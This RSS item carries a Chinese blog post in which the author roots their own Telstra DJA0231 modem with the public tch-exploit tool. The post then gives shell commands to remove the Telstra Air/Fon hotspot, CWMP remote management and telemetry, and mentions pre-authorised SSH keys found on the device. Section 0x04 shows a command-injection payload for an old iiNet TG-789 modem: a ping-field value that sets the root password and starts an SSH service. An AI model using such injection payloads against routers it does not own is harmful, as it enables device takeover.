<?xml version="1.0" encoding="utf-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Telstra</title><link>https://blog.willzhou.com/tag/telstra/</link><description>Keep Learning</description><language>en</language><atom:link href="https://blog.willzhou.com/tag/telstra/" rel="alternate" type="text/html"/><item><title>如何去除Telstra路由器中的Telstra Air服务和Fon WiFi</title><link>https://blog.willzhou.com/how-to-remove-telstra-air-and-fon-wifi-from-telstra-router/</link><guid isPermaLink="true">https://blog.willzhou.com/how-to-remove-telstra-air-and-fon-wifi-from-telstra-router/</guid><pubDate>Sat, 16 Oct 2021 10:30:55 +0000</pubDate><description>&lt;p>Telstra Smart Modem Gen 2（DJA0231）关个Telstra Air实在是太难了！&lt;/p>
&lt;p>我刚开始使用Telstra的时候就遇到过这个问题：新路由到手，家里莫名其妙多了一个Telstra Air+Fon WiFi的热点。我曾经无数次通过Telstra Dashboard关闭它，每次它都会显示&amp;quot;&lt;strong>Deactivating...&lt;/strong>&amp;quot; 然后又！变！回！了！&lt;/p>
&lt;p>&lt;strong>Active&lt;/strong>&lt;/p>
&lt;p>。我只在刚使用Telstra之初，找了无数次客服，通过Telstra Perth（我也不知道为什么莫名其妙转去了Perth）的Engineering Team&lt;/p>
&lt;p>&lt;strong>成功关闭过一次&lt;/strong>&lt;/p>
&lt;p>。我至今都不知道是如何关闭的，只知道是和一个Engineer通话以后成功关闭了这个神坑服务。&lt;/p>
&lt;p>最近改了套餐以后这个服务又被莫名其妙的再次激活了。我无数次联系过Telstra的客服，他们真的只会说：&lt;/p>
&lt;ul>
&lt;li>我帮你关了（其实并没有）&lt;/li>
&lt;li>已经关了我看到工单了（那个单子没有关啊大哥）&lt;/li>
&lt;li>我又帮你关了一次（完全没有）&lt;/li>
&lt;li>我帮你问上级（然后杳无音讯）&lt;/li>
&lt;li>你这个服务没办法关闭（那你第一次怎么关的？？）&lt;/li>
&lt;/ul>
&lt;h2 id="0x00-关不掉的telstra-air">0x00 关不掉的Telstra Air&lt;/h2>
&lt;p>本来想说忍忍算了，但是因为我多数时候在桥接模式使用Telstra Smart Modem Gen 2（DJA0231），它近距离同时和我桥接的Asus工作会明显的干扰到正常的WiFi使用（抢频段问题），IoT设备尤其明显。&lt;/p>
&lt;p>事实上，就算我像大多数人一样直接使用Telstra给的路由器不做桥接，依然会对正常使用产生一定的干扰，游戏/视频通话突然的卡顿很多时候都和Telstra Air的访客接入有关。尤其是你在无线高负载访问内网用NAS，又或者链路质量一般你在接近满载跑WAN的时候有人连了你路由的Telstra Air——在用户路由器上加载这种服务（还关不掉！）真的就是丧心病狂的设计。&lt;/p>
&lt;h2 id="0x01-我黑我自己">0x01 我黑我自己&lt;/h2>
&lt;p>做了一下功课，Telstra Smart Modem Gen 2（DJA0231）是属于相对比较容易root的Modem。&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/image-2.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;p>常见的漏洞及Hack方式在 &lt;a href="https://hack-technicolor.readthedocs.io/en/stable/Hacking/Type2/">hack-technicolor&lt;/a>
有很全面的总结。以DJA0231为例，能通过已知漏洞中的&lt;a href="https://github.com/BoLaMN/tch-exploit">tch-exploit&lt;/a>
方式入侵。&lt;/p>
&lt;p>1. 手动设置自己的IP为Static IP：&lt;/p>
&lt;pre tabindex="0">&lt;code>IPv4 Address: 58.162.0.1
Subnet Mask: 255.255.255.0
Default Gateway\Router: 58.162.0.1
&lt;/code>&lt;/pre>&lt;p>2. 准备tch-exploit工具（假设你已经安装了nodejs）：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 从github下载tch-exploit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone https://github.com/BoLaMN/tch-exploit.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd tch-exploit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># &amp;lt;你现在在tch-exploit文件夹根目录&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安装dependency+compile&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm install pkg coffee-script -g
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm run compile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm run package
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 工具就绪 - 东西都在release文件夹里了，win/mac/linux全平台支持&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd release
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>3.&lt;/p>
&lt;p>&lt;strong>（推荐）&lt;/strong>&lt;/p>
&lt;p>reset一次（恢复出厂设置）。因为你如果你在bridge模式下，该root工具无法正常运作。&lt;/p>
&lt;p>4. 网线接路由器的WAN口（土澳这些Modem WAN大部分是红色的），注意不是LAN口。逻辑是我们要假装自己是服务器利用DHCP+远程管理漏洞（CWMP），所以你要让Modem认为你是它的上游ISP服务器，所以做这一步的时候千万别接到了LAN口。&lt;/p>
&lt;p>5. 用管理员权限（&lt;/p>
&lt;p>&lt;strong>Linux/Mac下请sudo&lt;/strong>&lt;/p>
&lt;p>）执行release文件夹下的可执行文件，然后开始等待，大概1分钟左右开始出现滚屏，再1分钟左右提示按下WPS按钮5s左右，看到屏幕信息提示成功就完成了。&lt;/p>
&lt;p>这个流程如果有问题，可以参考：&lt;a href="https://github.com/BoLaMN/tch-exploit#full-example-with-windows-and-technicolor-dja0231">https://github.com/BoLaMN/tch-exploit#full-example-with-windows-and-technicolor-dja0231&lt;/a>
&lt;/p>
&lt;p>到此处，把网线插回LAN口+本机获得ip方式改回dynamic IP/Auto DHCP就大功告成了。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh root@192.168.0.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 密码也是root就能进去了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果不行(新系统可能会提示KexAlgorithm不支持），请尝试下方命令连接：&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh root@192.168.0.1 -oKexAlgorithms&lt;span style="color:#f92672">=&lt;/span>+diffie-hellman-group1-sha1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 登录进去第一件事把默认密码改了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>passwd root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 确保SSH只开放给LAN口用户（否则就分分钟公网爆破了）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uci set dropbear.wan.enable&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uci commit dropbear
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="0x02-删除telstra-air和fon-wifi">0x02 删除Telstra Air和Fon WiFi&lt;/h2>
&lt;p>在Telstra制定的固件中，这两项服务主要以 /etc/init.d/hotspotd来提供服务。Root以后执掌一切生杀大权，赶紧杀了这个服务助助兴。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 依次执行下方所有命令关闭Telstra Air和Fon WiFi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/etc/init.d/hotspotd stop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/etc/init.d/hotspotd disable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uci delete dhcp.hotspot
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uci delete dhcp.fonopen
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uci commit
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Source: &lt;a href="https://hack-technicolor.readthedocs.io/en/stable/Hardening/">https://hack-technicolor.readthedocs.io/en/stable/Hardening/&lt;/a>
&lt;/em>&lt;/p>
&lt;p>杀完以后进入后台你会发现这两服务都黑了：&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/Screenshot-from-2021-10-16-11-13-35.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;h2 id="0x03-删除监控和奇怪的预留访问后门">0x03 删除监控和奇怪的预留访问（后门？）&lt;/h2>
&lt;p>我摸索了一下发现一件有意思的事情：&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/image-3.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;p>&lt;em>/etc/dropbear/authorized_keys&lt;/em>&lt;/p>
&lt;p>DJA0231的固件是基于Openwrt的（事实上大部分NBN的Modem固件都是基于Openwrt的）。Dropbear包提供SSH服务（相当于常见Linux发行版的OpenSSH），遵循同样的逻辑我下意识看了一下 /etc/dropbear/authorized_keys 文件，直接好家伙，里面预留了一个TCH Debug Key和一个未知用途/来源的key。&lt;/p>
&lt;p>第一个Key我假设是Technicolor粗心忘记删除了开发时候用的key好了，第二个Key是什么操作我真的不明白。我root过iiNet的另一个ISP Modem（见下节），其中是没有任何预授权Key的。&lt;/p>
&lt;p>这种预留Auth Key的操作，要放在其他国内品牌被挖出来早就炸锅了。&lt;/p>
&lt;p>除了这个坑以外，大家有否觉得奇怪为什么你在Telstra App当中查看连接路由的设备的时候iOS系统不给LAN权限它依然能获得完整的app列表？像这个功能：&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/image-4.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;p>&lt;em>Telstra莫名其妙的View my devices功能&lt;/em>&lt;/p>
&lt;p>既然Root了直接按照hack-technicolor的指南清理一波：&lt;/p>
&lt;pre tabindex="0">&lt;code># 关闭 CWMP
uci delete cwmpd.cwmpd_config
uci delete firewall.cwmpd
uci del_list watchdog.@watchdog[0].pidfile=&amp;#39;/var/run/cwmpd.pid&amp;#39;
uci del_list watchdog.@watchdog[0].pidfile=&amp;#39;/var/run/cwmpevents.pid&amp;#39;
uci commit
/etc/init.d/watchdog-tch reload
/etc/init.d/cwmpd disable
/etc/init.d/cwmpd stop
/etc/init.d/cwmpdboot disable
/etc/init.d/cwmpdboot stop
# 关闭zkernelpanic（DJA0231最新的固件好像会报错不用管他）
/etc/init.d/zkernelpanic disable
/etc/init.d/zkernelpanic stop
# 关闭 CWMP 加强版 可能会报错但是不用管
uci set cwmpd.cwmpd_config.state=0
uci set cwmpd.cwmpd_config.acs_url=&amp;#39;https://127.0.1.1:7547/&amp;#39;
uci set cwmpd.cwmpd_config.use_dhcp=0
uci set cwmpd.cwmpd_config.interface=loopback
uci set cwmpd.cwmpd_config.enforce_https=1
uci commit cwmpd
# 关闭 Telstra 的wifi/监控系统 - 真的我什么设备连接关你什么事啊
uci delete tls-vsparc.Config
uci delete tls-vsparc.Passive
uci delete autoreset.vsparc_enabled
uci delete autoreset.thor_enabled
uci delete wifi_doctor_agent.acs
uci delete wifi_doctor_agent.config
uci delete wifi_doctor_agent.as_config
uci commit
&lt;/code>&lt;/pre>&lt;p>&lt;em>&lt;a href="https://hack-technicolor.readthedocs.io/en/stable/Hardening/">https://hack-technicolor.readthedocs.io/en/stable/Hardening/&lt;/a>
&lt;/em>&lt;/p>
&lt;p>清理完成以后，你再在app当中尝试这个功能，应该会获得以下提示：&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/image-5.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;p>提示说功能无法正常使用。说明这些冗余的监控应该是被清理掉了。&lt;/p>
&lt;h2 id="0x04-所以这些isp路由有多脆弱">0x04 所以这些ISP路由有多脆弱？&lt;/h2>
&lt;p>有一说一，Telstra的Telstra Smart Modem Gen 2（DJA0231）在最新固件的加持下已经是相对安全的了。我倒腾了一下手头iiNet的ISP老Modem（TG-789），真的从连上到获得root&lt;/p>
&lt;p>&lt;strong>不超过10s&lt;/strong>&lt;/p>
&lt;p>：&lt;/p>
&lt;ol>
&lt;li>你连上运行老固件的TG-789（我的固件好像是17年的）&lt;/li>
&lt;li>找到 Diagnostics，ping的目标输入：&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>:::::::;echo root:root | chpasswd; dropbear -p 6666;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>&lt;a href="https://github.com/mswhirl/autoflashgui">https://github.com/mswhirl/autoflashgui&lt;/a>
&lt;/em>&lt;/p>
&lt;p>3. 好了用户名root，密码root，端口6666，去登录吧（来自 &lt;a href="https://github.com/mswhirl/autoflashgui">autoflashgui&lt;/a>
的方案）&lt;/p>
&lt;p>&lt;img src="https://blog.willzhou.com/images/2021/10/Untitled.png" alt="" loading="lazy" decoding="async">
&lt;/p>
&lt;p>（不要问我为什么，我也不知道为什么iiNet那时候用了一个Demo build部署给了我的Modem，我拿到就是这样的）&lt;/p>
&lt;p>所以如果你的ISP路由器有漏洞，简单的入侵并不是遥不可及的，也未必需要物理接触Modem。&lt;/p>
&lt;h2 id="0x05-一点建议">0x05 一点建议&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>尽可能不要直接使用ISP送的路由器，你需要一个自己的路由器。
部署网络的时候建议桥接连自己的路由器&lt;/p>
&lt;p>&lt;strong>或&lt;/strong>&lt;/p>
&lt;p>Double NAT（把自己的路由器作为客户端挂载在Modem LAN口，然后把这个唯一的客户端设置成DMZ）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>不要过于乐观的假设自己的网络环境是安全的（我在家使用家里的WiFi所以我是安全的），有条件的还是得挂上VPN。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>没条件的尽可能做到DNS都上DoT/DoH+能HTTPS就HTTPS。路由一旦被入侵，没有加密的http流量在路由这一侧就是透明的。什么局域网登录个NAS都是什么账号密码、访问过哪些网站（DNS如果是不加密的就能记录所有访问结果了）。&lt;/p>
&lt;/li>
&lt;/ol></description></item></channel></rss>